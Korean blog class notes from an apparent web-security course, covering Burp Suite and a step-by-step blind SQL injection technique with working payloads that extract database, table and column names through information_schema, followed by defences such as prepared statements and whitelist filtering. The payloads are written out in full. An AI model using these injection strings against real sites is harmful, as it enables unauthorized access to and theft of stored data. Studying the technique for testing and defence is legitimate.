Today I Learned …
[수업] 4주차 정리 본문
* 해당 주차의 수업 내용을 정리합니다.
Burp Suite
> 웹 프록시
HTTP vs HTTPS
HTTP
HTTPS : HTTP + SSL(옛날말) / TLS(요즘말)
Frequently Used
Repeater
Decoder
Comparer
Plugin 추가
Useful Tips
#
Clear
Highlight
자동화 툴 사용 X
sqlmap
실제 프로젝트
웹 사이트 (글을 남기면 → 대표님에게 문자 메시지)
어떤 사고 날지 몰라서 고객사가 매우 꺼려함
update로 모든 고객 비번 1로 바꿔봐라 ㅎ..
Proxy
Burp Suite
Fiddler
현업에서 주로 씀
Blind SQL Injection
> 최후의 보루
> SQL 질의 결과가 노출되지 않는 곳에서 사용해야함 (로그인, 아이디 중복 체크 등)
원리
> 조건문의 참과 거짓의 결과로 데이터를 추출
참과 거짓의 결과로
어떤 조건을 넣을 것인가?
기법
(1) LIMIT
limit [시작위치:0으로시작], [개수]
limit 0,1
limit 1,1
limit 2,1
→ 이렇게 데이터 하나씩 뽑아낼 것
(2) substring : 문자열 자르기
select password from member limit 0,1
'12345'
substring(글자, [시작위치:1로시작], [개수])
substring('normaltic',1,1)
> n
substring('normaltic',3,2)
> rm
(3) ASCII 코드
> < = 숫자로 치환해서 비교하기 위함
알파벳, 숫자, 특수문자
33~126
첫 글자 : > 50 > 90 > 100 이런식으로 범위 좁히며 찾으면 더 수월
ascii('A') => 65
> normaltic 글자의 첫 글자 비교 예시
substring(normaltic,1,1)
ascii(substring((select ~~~~ limit 0,1),1,1)) → >20
(4) 2진 탐색 알고리즘
> 업다운게임
33 ~ 126
Blind SQLi 절차
(1) 취약점이 있는지 확인
mario' and '1'='1
mario
(2) Blind SQLi 테스트 (참/거짓)
mario' and '1'='1
mario' and ('1'='1') and '1'='1
→ 조건 바꾸기 편하게
mario' and ('1'='2') and '1'='1
(3) Blind SQLi 테스트 (임의 select 문 삽입)
select 'normaltic'
Blind SQL 조건 : ascii(substring(( SQL ) ,1,1)) > 0
UserId : mario' and (조건) and '1'='1
UserId : mario' and (ascii(substring((select 'normaltic') ,1,1)) > 0) and '1'='1
<SQL>
ascii(substring((<SQL>),1,1)) > 0
→ 차곡차곡 스택쌓으며 쿼리 만들기 (한번에 쓰려고 하면 헷갈려서 괄호 빼먹기 쉬움)
(4) DB 이름
select database()
Blind SQL 조건 : ascii(substring(( SQL ) ,1,1)) > 0
UserId : mario' and (ascii(substring((select database()) ,1,1)) > 0) and '1'='1
(5) 테이블 이름
select table_name from information_schema.tables where table_schema='segFault_sqli' limit 0,1
mario' and (ascii(substring((select table_name from information_schema.tables where table_schema='segFault_sqli' limit 0,1) ,1,1)) > 0) and '1'='1
휴...... 노가다
프로그램짜서 해야된다.
(6) Column name
select column_name from information_schema.columns where table_name='user_info' limit 0,1
(7) Data 추출
table, column
select ~~ from ~~ limit 0,1
파이썬으로 코드 짜서 추출!
(8) 이외
Url Encoding으로 띄어쓰기
→ + , %20
대응 방안
1. Prepared Statement : 변수 바인딩
SQL
$sql = "select ~~~ where id='?'"
bind(1, $user_id)
' and ~~~
변수 바인딩만 해주면 무슨 짓을 해도 못 뚫음
그럼에도 배워야하는 이유는?
(1) 적용되지 않는 곳!
정렬 부분, 테이블 이름
order by
(2) 연륜있는 개발자
제대로 적용 안하거나 못한 경우
(3) 프레임워크
2. 필터링 (잘못 쓰면 사이트 이상해짐ㅋㅋㅋㅋㅋㅋ)
- 블랙 리스트 기반 : ', or, and
> 우회가 가능할 수 있다. 위험!
- 화이트 리스트 기반
질답
주소 검색 : 우편번호 db mysql 구글링해서 테이블 임포트
'Study > 수업' 카테고리의 다른 글
[수업] 6주차 정리 (0) | 2021.11.18 |
---|---|
[수업] 5주차 정리 (0) | 2021.11.18 |
[수업] 3주차 정리 (0) | 2021.10.29 |
[수업] 2주차 정리 (1) | 2021.10.22 |
[수업] 1주차 정리 (0) | 2021.10.16 |